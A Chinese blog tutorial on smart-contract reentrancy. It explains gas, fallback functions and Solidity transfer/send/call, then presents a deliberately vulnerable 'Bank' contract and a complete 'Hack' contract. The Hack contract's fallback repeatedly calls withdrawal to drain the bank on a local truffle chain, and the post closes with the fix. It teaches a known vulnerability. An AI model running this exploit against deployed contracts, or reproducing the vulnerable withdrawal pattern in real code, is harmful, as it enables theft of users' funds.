合约安全之重入攻击

还记得当年的ZheDao事件,硬是让以太坊硬分叉造就了以太经典ETC。
一个月就筹集了1个多亿刀的以太啊,想都不敢想。
16年那会,要是俺就接触了合约安全多好~哈哈。那不早就财富自由了…


要学习重入攻击,需要了解如下几个基本概念

  • 什么是gas、gas limit、gas price
  • 什么是fallback回退函数
  • 什么是transfer、send、call

1.gas

以太坊在区块链上实现了一个运行环境,被称为以太坊虚拟机(EVM)。每个参与到网络的节点都会运行都会运行EVM作为区块验证协议的一部分。他们会验证区块中涵盖的每个交易并在EVM中运行交易所触发的代码。每个网络中的全节点都会进行相同的计算并储存相同的值。合约执行会在所有节点中被多次重复,这个事实得使得合约执行的消耗变得昂贵,所以这也促使大家将能在链下进行的运算都不放到区块链上进行。对于每个被执行的命令都会有一个特定的消耗,用单位gas计数。每个合约可以利用的命令都会有一个相应的gas值。

gas就相当于一个激励系统中的实质奖励,我们需要在以太坊上存储时需要交纳gas,给负责部署这些的旷工们。随着存储量的增大,gas需要的也就越多(例如转账和合约部署交易费的差异)。而所说的gas limit和gas price是生态中计算交易费方法所要用到的工具。

gas price就是你愿意为此支付的gas的单价。
在一次交易中,需要的手续费 = gas used * gas price
这个很好理解,你的油费 = 用掉的油 * 油的单价
但是这里油的单价是我们可控的,而且也可以通过对每一步执行需要的油来优化我们的智能合约代码,使其变得更加省钱。gas price的单价是Gwei,而1ether = 1x108Gwei = 1x1017Wei
在这里插入图片描述
但是油价如果给的不够,旷工们将会延缓甚至不会对你的交易进行打包。
在这里插入图片描述
这里选择100Gwei的油价,和最高210000gas的油费。
在这里插入图片描述
然而使用了21000也就是10%的gas,其中每个gas的单价是100Gwei,也就是说这次交易共花费了21000 x 100Gwei = 2100000Gwei = 0.0021ether 上面的transaction fee中也写到了。

gaslimit是你对整个油耗的最大预期值。如果超过了这个值,交易将不会被执行。如果gas used小于gaslimit那么执行成功,多余的gas会返还给你。
在块中也有gaslimit这个概念:一个块最多被允许的gas数量。不要搞混淆了。

2.fallback回退函数

合约可以最多有一个回退函数。函数声明为:

fallback () external [payable]
  1. 这个函数不能有参数也不能有返回值.
  2. 必须是external可见性.(外部调用)
  3. 在接受eth时也要标记payable.

在合约中找不到函数或者合约没有receive函数来接收eth时,fallback函数将被调用。只要给够gas费,fallback函数在上面两种情况中会被调用并且可以循环调用。

先做一个有fallback函数的合约,接收到转账时打印出a

pragma solidity >=0.4.22 <0.6.0;

contract test{
    event outprint(uint);
    function() external payable{
        emit outprint(msg.value);
    }
}

向合约转账时会打印出金额,如图
在这里插入图片描述
这边进行了简单的转账是成功了
如果删掉这个合约,合约中没有任何接收以太的函数。将会报错
在这里插入图片描述

3.transfer、send、call转账函数

地址有如下成员函数

.balance (uint256)

以 Wei 为单位的 地址类型 Address 的余额。

.transfer(uint256 amount)

向 地址类型 Address 发送数量为 amount 的 Wei,失败时抛出异常,使用固定(不可调节)的 2300 gas 的矿工费。

.send(uint256 amount) returns (bool)

向 地址类型 Address 发送数量为 amount 的 Wei,失败时返回 false,发送 2300 gas 的矿工费用,不可调节。

.call(bytes memory) returns (bool, bytes memory)

用给定的有效载荷(payload)发出低级 CALL 调用,返回成功状态及返回数据,发送所有可用 gas,也可以调节 gas。

.delegatecall(bytes memory) returns (bool, bytes memory)

用给定的有效载荷 发出低级 DELEGATECALL 调用 ,返回成功状态并返回数据,发送所有可用 gas,也可以调节 gas。 发出低级函数 DELEGATECALL,失败时返回 false,发送所有可用 gas,可调节。

.staticcall(bytes memory) returns (bool, bytes memory)

用给定的有效载荷 发出低级 STATICCALL 调用 ,返回成功状态并返回数据,发送所有可用 gas,也可以调节 gas。

可以看到transfer、send、call都可以用来转账。但是transfer和send的gas费是固定不可调的2300gas,而call默认发送所有可用的gas,这点比较重要,也是接下来复现这个漏洞的基础之一。


以太坊智能合约的特点之一是合约之间可以进行相互间的外部调用。同时,以太坊的转账不仅局限于外部账户,合约账户同样可以拥有Ether,并进行转账等操作.
向以太坊合约账户进行转账,发送Ether的时候,会执行合约账户对应合约代码的回调函数(fallback)。
一旦向被攻击者劫持的合约地址发起转账操作,迫使执行攻击合约的回调函数,回调函数中包含回调自身代码,将会导致代码执行“重新进入”合约。这种合约漏洞,被称为重入漏攻击Re-Entrancy。

重入漏洞利用了fallback和合约账户的特性,造成了函数的递归调用。如下合约分析一下

pragma solidity >=0.4.22 <0.6.0;
contract Bank {

    // 定义一个mapping通过用户地址查询余额
    mapping(address => uint256) public usersinfo;

  	// 用户存钱,保存到usersinfo
    function save() public payable returns (uint256){
        require(msg.value>0,'不够啊');
        usersinfo[msg.sender] = usersinfo[msg.sender] + msg.value;
       return usersinfo[msg.sender];
    }

    // 显示账户余额
    function showBalance(address addr) public view returns(uint256){
        return usersinfo[addr];
    }

    // 显示总账户余额,测试使用
     function showTotalBalance() public view returns(uint256){
        return address(this).balance;
    }

    // 用户提现
    function withdrawal() public payable{
        uint amount = usersinfo[msg.sender];
        if(amount>0){
            msg.sender.call.value(amount)("");
            usersinfo[msg.sender] = 0;
        }
    }

    function()  external payable{}
}

一个简易的存钱合约。拥有sava(存钱)、showbalance(查钱)、withdrawal(取钱)这三个功能函数。

在withdrawal是用过address.call.value的方式来转账的,并且判断操作再转账函数之后,这样就有可能导致重入攻击。

编写一个黑客合约用来转出他的所有钱吧!

pragma solidity >=0.4.22 <0.6.0;
import "./bank.sol";

contract Hack {

	// 银行实例
    Bank public bank;

    // 调用栈,次数过大会异常
    uint256 public stack=0;

    // 构造函数
    constructor(address payable _bankAddr) public payable{
        bank = Bank(_bankAddr);
    }

    // 到银行存钱
    function bankSave() public payable returns (uint256){
       return bank.save.value(1 ether)();
    }

    // 显示账户余额
    function showBalance()public view returns (uint256){
        return address(this).balance;
    }

    // 拿回自己合约的钱,当然这里可以加权限,onlyHacker,只有黑客可以提现
    function collectEther() public {
      msg.sender.transfer(address(this).balance);
    }

    // 到银行提现
    function withdrawal() public {
        bank.withdrawal();
    }

    // fallback函数,
    function() external payable{
        stack += 1;
        if(msg.sender.balance >= 1 ether && stack < 200){
        	// 如有有钱就提现
            bank.withdrawal();
        }
    }
}

在fallback函数中可以看到,这个时候msg.sender就是银行的地址,如果msg.sender.balance大于1,会一直执行提取操作,榨干银行的资金~


  1. 通过truffle部署银行合约,再用两个账户转账给合约
    如果对truffle不熟悉的,可以康康我之前的学习记录:https://blog.csdn.net/xiaoyue2019/article/details/106225896
    在这里插入图片描述
    这个时候,我们的合约已经拥有了291个以太坊了。

  2. 通过truffle再部署hack合约&向其转一些钱用于调用函数
    在这里插入图片描述
    使用account9作为我们自己(攻击者)向hack合约转两个ether,banksave会调用bank的save函数转入一个eth(不然没法提现,withdrawal函数有if判断)

hack.bankSave({from:accounts[9],value:web3.utils.toWei('2','ether')})

这时候在bank合约中我们有一个以太,自己合约也有一个以太
在这里插入图片描述

  1. 调用withdrawal函数,再调用collectEther转回以太
    在这里插入图片描述
    这个时候发现,攻击者账户以及拥有了249个以太。而银行的账户只有141个以太了。
    重复执行充钱——取钱的操作就将把这个银行账户的以太全部取光光。

而解决办法就是把withdrawal函数中的账户置零操作提前到send账户之前,或者使用比较安全的transfer进行转账。


hei guys

🥇Blog: https://cnmf.net.cn/

🥈GitHub: https://github.com/xiaoyue2019

🥉CSDN: https://blog.csdn.net/xiaoyue2019

reference:
https://blog.csdn.net/weixin_44282220/article/details/106536178?utm_medium=distribute.pc_relevant.none-task-blog-baidujs-1&spm=1001.2101.3001.4242
http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilities-review/#1-Reentrancy

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值